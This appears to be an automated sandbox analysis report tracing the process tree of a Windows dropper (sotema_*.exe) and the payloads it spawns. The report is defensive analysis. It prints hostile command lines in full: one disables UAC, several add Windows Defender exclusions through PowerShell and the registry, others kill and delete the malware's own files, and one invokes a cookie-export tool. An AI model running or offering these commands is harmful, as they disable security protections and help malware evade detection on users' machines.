82d46a004150f139839f95e93696986e	sotema_3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

jfiag3g_gg.exeHhpexB0qJdTdmk3etEjUazpV.exesotema_2.execH77YTGLBZylxXs05i9lqwCP.exe3g0IgBY60ub3CvBAsgc379yk.exeQjCiHc3cmwNBVrFMKHZSCJzD.exe2rBA8dAuXyAmzQtn9mgCshPq.exe

pid	process
2168	jfiag3g_gg.exe
2168	jfiag3g_gg.exe
5108	HhpexB0qJdTdmk3etEjUazpV.exe
5108	HhpexB0qJdTdmk3etEjUazpV.exe
3972	sotema_2.exe
3972	sotema_2.exe
3940	cH77YTGLBZylxXs05i9lqwCP.exe
3940	cH77YTGLBZylxXs05i9lqwCP.exe
4956	3g0IgBY60ub3CvBAsgc379yk.exe
4956	3g0IgBY60ub3CvBAsgc379yk.exe
1788	QjCiHc3cmwNBVrFMKHZSCJzD.exe
1788	QjCiHc3cmwNBVrFMKHZSCJzD.exe
3024
3024
2220	2rBA8dAuXyAmzQtn9mgCshPq.exe
2220	2rBA8dAuXyAmzQtn9mgCshPq.exe
2220	2rBA8dAuXyAmzQtn9mgCshPq.exe
2220	2rBA8dAuXyAmzQtn9mgCshPq.exe
3024
3024
3024
3024
1788	QjCiHc3cmwNBVrFMKHZSCJzD.exe
1788	QjCiHc3cmwNBVrFMKHZSCJzD.exe
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3024
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

sotema_2.execcsbiiuZtfglzprim.exe

pid process

3972 sotema_2.exe
5144 ccsbiiu
5924 Ztfglzprim.exe

pid	process
3024

pid	process
3972	sotema_2.exe
5144	ccsbiiu
5924	Ztfglzprim.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

sotema_7.exeoPSbWsXkgXdQ3Fk7q_5UqmNf.exeHhpexB0qJdTdmk3etEjUazpV.execH77YTGLBZylxXs05i9lqwCP.exeQjCiHc3cmwNBVrFMKHZSCJzD.exe2rBA8dAuXyAmzQtn9mgCshPq.exesotema_7.exesotema_6.exeAdvancedRun.exefT5wdSpTHJlSRyNB_tbz_Hd9.exeAdvancedRun.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1668	sotema_7.exe
Token: SeDebugPrivilege	3680	oPSbWsXkgXdQ3Fk7q_5UqmNf.exe
Token: SeDebugPrivilege	5108	HhpexB0qJdTdmk3etEjUazpV.exe
Token: SeDebugPrivilege	3940	cH77YTGLBZylxXs05i9lqwCP.exe
Token: SeDebugPrivilege	1788	QjCiHc3cmwNBVrFMKHZSCJzD.exe
Token: SeDebugPrivilege	2220	2rBA8dAuXyAmzQtn9mgCshPq.exe
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeDebugPrivilege	4524	sotema_7.exe
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeDebugPrivilege	2996	sotema_6.exe
Token: SeDebugPrivilege	3104	AdvancedRun.exe
Token: SeImpersonatePrivilege	3104	AdvancedRun.exe
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeDebugPrivilege	2208	fT5wdSpTHJlSRyNB_tbz_Hd9.exe
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeDebugPrivilege	5668	AdvancedRun.exe
Token: SeImpersonatePrivilege	5668	AdvancedRun.exe
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeShutdownPrivilege	3024
Token: SeCreatePagefilePrivilege	3024
Token: SeDebugPrivilege	5480	powershell.exe

Suspicious use of FindShellTrayWindow 15 IoCs

Processes:

Sta.exe.pif

pid process

1360 Sta.exe.pif
3024
3024
1360 Sta.exe.pif
1360 Sta.exe.pif
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Sta.exe.pif

pid process

1360 Sta.exe.pif
1360 Sta.exe.pif
1360 Sta.exe.pif

pid	process
1360	Sta.exe.pif
3024
3024
1360	Sta.exe.pif
1360	Sta.exe.pif
3024
3024
3024
3024
3024
3024
3024
3024
3024
3024

pid	process
1360	Sta.exe.pif
1360	Sta.exe.pif
1360	Sta.exe.pif

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

f9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exesotema_8.exesotema_7.exesotema_4.exesotema_1.exe

description	pid	process	target process
PID 1660 wrote to memory of 2680	1660	f9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5.exe	setup_install.exe
PID 1660 wrote to memory of 2680	1660	f9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5.exe	setup_install.exe
PID 1660 wrote to memory of 2680	1660	f9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5.exe	setup_install.exe
PID 2680 wrote to memory of 4652	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4652	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4652	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 1996	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 1996	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 1996	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 3808	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 3808	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 3808	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4668	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4668	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4668	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4556	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4556	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4556	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4544	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4544	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4544	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4592	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4592	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4592	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4644	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4644	2680	setup_install.exe	cmd.exe
PID 2680 wrote to memory of 4644	2680	setup_install.exe	cmd.exe
PID 3808 wrote to memory of 2224	3808	cmd.exe	sotema_3.exe
PID 3808 wrote to memory of 2224	3808	cmd.exe	sotema_3.exe
PID 3808 wrote to memory of 2224	3808	cmd.exe	sotema_3.exe
PID 4592 wrote to memory of 1668	4592	cmd.exe	sotema_7.exe
PID 4592 wrote to memory of 1668	4592	cmd.exe	sotema_7.exe
PID 4592 wrote to memory of 1668	4592	cmd.exe	sotema_7.exe
PID 4668 wrote to memory of 4548	4668	cmd.exe	sotema_4.exe
PID 4668 wrote to memory of 4548	4668	cmd.exe	sotema_4.exe
PID 4668 wrote to memory of 4548	4668	cmd.exe	sotema_4.exe
PID 4556 wrote to memory of 4356	4556	cmd.exe	sotema_5.exe
PID 4556 wrote to memory of 4356	4556	cmd.exe	sotema_5.exe
PID 4556 wrote to memory of 4356	4556	cmd.exe	sotema_5.exe
PID 4544 wrote to memory of 2996	4544	cmd.exe	sotema_6.exe
PID 4544 wrote to memory of 2996	4544	cmd.exe	sotema_6.exe
PID 4544 wrote to memory of 2996	4544	cmd.exe	sotema_6.exe
PID 4652 wrote to memory of 3700	4652	cmd.exe	sotema_1.exe
PID 4652 wrote to memory of 3700	4652	cmd.exe	sotema_1.exe
PID 4652 wrote to memory of 3700	4652	cmd.exe	sotema_1.exe
PID 1996 wrote to memory of 3972	1996	cmd.exe	sotema_2.exe
PID 1996 wrote to memory of 3972	1996	cmd.exe	sotema_2.exe
PID 1996 wrote to memory of 3972	1996	cmd.exe	sotema_2.exe
PID 4644 wrote to memory of 3744	4644	cmd.exe	sotema_8.exe
PID 4644 wrote to memory of 3744	4644	cmd.exe	sotema_8.exe
PID 4644 wrote to memory of 3744	4644	cmd.exe	sotema_8.exe
PID 3744 wrote to memory of 2328	3744	sotema_8.exe	sotema_8.tmp
PID 3744 wrote to memory of 2328	3744	sotema_8.exe	sotema_8.tmp
PID 3744 wrote to memory of 2328	3744	sotema_8.exe	sotema_8.tmp
PID 1668 wrote to memory of 2288	1668	sotema_7.exe	sotema_7.exe
PID 1668 wrote to memory of 2288	1668	sotema_7.exe	sotema_7.exe
PID 1668 wrote to memory of 2288	1668	sotema_7.exe	sotema_7.exe
PID 4548 wrote to memory of 4404	4548	sotema_4.exe	jfiag3g_gg.exe
PID 4548 wrote to memory of 4404	4548	sotema_4.exe	jfiag3g_gg.exe
PID 4548 wrote to memory of 4404	4548	sotema_4.exe	jfiag3g_gg.exe
PID 1668 wrote to memory of 3636	1668	sotema_7.exe	sotema_7.exe
PID 1668 wrote to memory of 3636	1668	sotema_7.exe	sotema_7.exe
PID 1668 wrote to memory of 3636	1668	sotema_7.exe	sotema_7.exe
PID 3700 wrote to memory of 4340	3700	sotema_1.exe	rUNdlL32.eXe

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

Processes:

2rBA8dAuXyAmzQtn9mgCshPq.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2rBA8dAuXyAmzQtn9mgCshPq.exe

C:\Users\Admin\AppData\Local\Temp\f9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5.exe
"C:\Users\Admin\AppData\Local\Temp\f9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1660

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC765532D\setup_install.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2680

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sotema_2.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1996

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_2.exe
sotema_2.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3972

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sotema_4.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4668

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_4.exe
sotema_4.exe
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4548

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
PID:4404

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2168

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sotema_8.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4644

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_8.exe
sotema_8.exe
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3744

C:\Users\Admin\AppData\Local\Temp\is-6A56H.tmp\sotema_8.tmp
"C:\Users\Admin\AppData\Local\Temp\is-6A56H.tmp\sotema_8.tmp" /SL5="$8002E,161510,77824,C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_8.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2328

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sotema_7.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4592

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_7.exe
sotema_7.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1668

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_7.exe
C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_7.exe
5⤵
- Executes dropped EXE
PID:2288

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_7.exe
C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_7.exe
5⤵
- Executes dropped EXE
PID:3636

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_7.exe
C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_7.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4524

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sotema_6.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4544

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_6.exe
sotema_6.exe
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2996

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sotema_5.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4556

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_5.exe
sotema_5.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:4356

C:\Users\Admin\Documents\2rBA8dAuXyAmzQtn9mgCshPq.exe
"C:\Users\Admin\Documents\2rBA8dAuXyAmzQtn9mgCshPq.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:2220

C:\Users\Admin\AppData\Local\Temp\529621f6-42e9-441b-8608-d886211ba25f\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\529621f6-42e9-441b-8608-d886211ba25f\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\529621f6-42e9-441b-8608-d886211ba25f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
6⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:3104

C:\Users\Admin\AppData\Local\Temp\529621f6-42e9-441b-8608-d886211ba25f\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\529621f6-42e9-441b-8608-d886211ba25f\AdvancedRun.exe" /SpecialRun 4101d8 3104
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5668

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\2rBA8dAuXyAmzQtn9mgCshPq.exe" -Force
6⤵
PID:5212

C:\Users\Admin\AppData\Local\Temp\529621f6-42e9-441b-8608-d886211ba25f\c29c2430-2204-4797-a88c-8321f3cd9587.exe
"C:\Users\Admin\AppData\Local\Temp\529621f6-42e9-441b-8608-d886211ba25f\c29c2430-2204-4797-a88c-8321f3cd9587.exe" /o /c "Windows-Defender" /r
6⤵
- Executes dropped EXE
PID:1816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension "exe" -Force
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:5480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\2rBA8dAuXyAmzQtn9mgCshPq.exe" -Force
6⤵
PID:5604

C:\Users\Admin\Documents\2rBA8dAuXyAmzQtn9mgCshPq.exe
"C:\Users\Admin\Documents\2rBA8dAuXyAmzQtn9mgCshPq.exe"
6⤵
- Executes dropped EXE
PID:5700

C:\Users\Admin\Documents\OqpiNV0ImVYLiMuxRZGTB2vL.exe
"C:\Users\Admin\Documents\OqpiNV0ImVYLiMuxRZGTB2vL.exe"
5⤵
- Executes dropped EXE
PID:2292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 464
6⤵
- Program crash
PID:4680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 472
6⤵
- Program crash
PID:3900

C:\Users\Admin\Documents\oPSbWsXkgXdQ3Fk7q_5UqmNf.exe
"C:\Users\Admin\Documents\oPSbWsXkgXdQ3Fk7q_5UqmNf.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:3680

C:\Users\Admin\AppData\Local\Temp\9df12f3e-fdc0-414e-ac52-fb3ff350ba11.exe
"C:\Users\Admin\AppData\Local\Temp\9df12f3e-fdc0-414e-ac52-fb3ff350ba11.exe"
6⤵
- Executes dropped EXE
- Checks processor information in registry
PID:2864

C:\Users\Admin\Documents\LY_X7HZG_6WxabnGfswShGbw.exe
"C:\Users\Admin\Documents\LY_X7HZG_6WxabnGfswShGbw.exe"
5⤵
- Executes dropped EXE
PID:636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 636 -s 464
6⤵
- Program crash
PID:460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 636 -s 472
6⤵
- Program crash
PID:5440

C:\Users\Admin\Documents\gPnIrGdEmIlGjMMGwB6b3q_7.exe
"C:\Users\Admin\Documents\gPnIrGdEmIlGjMMGwB6b3q_7.exe"
5⤵
PID:1684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 432
6⤵
- Program crash
PID:840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 452
6⤵
- Program crash
PID:1696

C:\Users\Admin\Documents\c_fpRGxxqScd9HuZ5CBXKhEG.exe
"C:\Users\Admin\Documents\c_fpRGxxqScd9HuZ5CBXKhEG.exe"
5⤵
- Executes dropped EXE
PID:1640

C:\Users\Admin\Documents\W5wFRtO6gsuXwrrHpoePIVQJ.exe
"C:\Users\Admin\Documents\W5wFRtO6gsuXwrrHpoePIVQJ.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:1372

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
PID:1704

C:\Users\Admin\Documents\eXbT0W2MPAARY5Fv6JK0MsPO.exe
"C:\Users\Admin\Documents\eXbT0W2MPAARY5Fv6JK0MsPO.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:2732

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
PID:4788

C:\Users\Admin\Documents\fT5wdSpTHJlSRyNB_tbz_Hd9.exe
"C:\Users\Admin\Documents\fT5wdSpTHJlSRyNB_tbz_Hd9.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2208

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout 45
6⤵
PID:4716

C:\Windows\SysWOW64\timeout.exe
timeout 45
7⤵
- Delays execution with timeout.exe
PID:3560

C:\Users\Admin\AppData\Local\Temp\Ztfglzprim.exe
"C:\Users\Admin\AppData\Local\Temp\Ztfglzprim.exe"
6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5924

C:\Users\Admin\Documents\fT5wdSpTHJlSRyNB_tbz_Hd9.exe
C:\Users\Admin\Documents\fT5wdSpTHJlSRyNB_tbz_Hd9.exe
6⤵
- Executes dropped EXE
PID:4332

C:\Users\Admin\Documents\yPKqgFGvWUyeuqkKREO1ZW8C.exe
"C:\Users\Admin\Documents\yPKqgFGvWUyeuqkKREO1ZW8C.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:4528

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im yPKqgFGvWUyeuqkKREO1ZW8C.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\yPKqgFGvWUyeuqkKREO1ZW8C.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:5372

C:\Windows\SysWOW64\taskkill.exe
taskkill /im yPKqgFGvWUyeuqkKREO1ZW8C.exe /f
7⤵
- Kills process with taskkill
PID:3704

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:2628

C:\Users\Admin\Documents\iBGXpMjOgKW0vNdQ2iw_MQKt.exe
"C:\Users\Admin\Documents\iBGXpMjOgKW0vNdQ2iw_MQKt.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:5100

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
PID:4376

C:\Users\Admin\Documents\HhpexB0qJdTdmk3etEjUazpV.exe
"C:\Users\Admin\Documents\HhpexB0qJdTdmk3etEjUazpV.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5108

C:\Users\Admin\Documents\gKEMpGpZa2MO5bI287flZedT.exe
"C:\Users\Admin\Documents\gKEMpGpZa2MO5bI287flZedT.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:5000

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
6⤵
PID:1756

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Detto.xla
6⤵
PID:1888

C:\Windows\SysWOW64\cmd.exe
cmd
7⤵
PID:5924

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq BullGuardCore.exe"
8⤵
- Enumerates processes with tasklist
PID:3968

C:\Windows\SysWOW64\find.exe
find /I /N "bullguardcore.exe"
8⤵
PID:5140

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
8⤵
- Enumerates processes with tasklist
PID:5132

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
8⤵
PID:1892

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^wtwRMqjYMlcblhfrOaJNpOohYASICCRoGRaYHSofIqwzkvtDhVASceYjWNSjoDvlzhRaVdvWpzypNPwCvgcGwZMDTye$" Hai.xla
8⤵
PID:3016

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
Sta.exe.pif V
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1360

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
9⤵
- Executes dropped EXE
PID:5364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5364 -s 448
10⤵
- Program crash
PID:2384

C:\Users\Admin\Documents\Ml01dnFE8sQgIZhAtiZedgIK.exe
"C:\Users\Admin\Documents\Ml01dnFE8sQgIZhAtiZedgIK.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:5084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 624
6⤵
- Program crash
PID:2384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 664
6⤵
- Program crash
PID:5156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 672
6⤵
- Program crash
PID:5124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 812
6⤵
- Program crash
PID:2556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 1224
6⤵
- Program crash
PID:5232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 1288
6⤵
- Program crash
PID:4148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 1296
6⤵
- Program crash
PID:4460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 1292
6⤵
- Program crash
PID:5368

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "Ml01dnFE8sQgIZhAtiZedgIK.exe" /f & erase "C:\Users\Admin\Documents\Ml01dnFE8sQgIZhAtiZedgIK.exe" & exit
6⤵
PID:5560

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "Ml01dnFE8sQgIZhAtiZedgIK.exe" /f
7⤵
- Kills process with taskkill
PID:5332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 1104
6⤵
- Program crash
PID:528

C:\Users\Admin\Documents\QjCiHc3cmwNBVrFMKHZSCJzD.exe
"C:\Users\Admin\Documents\QjCiHc3cmwNBVrFMKHZSCJzD.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788

C:\Users\Admin\Documents\QjCiHc3cmwNBVrFMKHZSCJzD.exe
"C:\Users\Admin\Documents\QjCiHc3cmwNBVrFMKHZSCJzD.exe"
6⤵
- Executes dropped EXE
PID:1404

C:\Users\Admin\Documents\QrvlhCbR0IHsy_Blr2TDK3dn.exe
"C:\Users\Admin\Documents\QrvlhCbR0IHsy_Blr2TDK3dn.exe"
5⤵
- Executes dropped EXE
PID:3216

C:\Users\Admin\AppData\Local\Temp\7zSA0A2.tmp\Install.exe
.\Install.exe
6⤵
- Executes dropped EXE
PID:5172

C:\Users\Admin\AppData\Local\Temp\7zSC91A.tmp\Install.exe
.\Install.exe /S /site_id "525403"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
PID:5496

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
8⤵
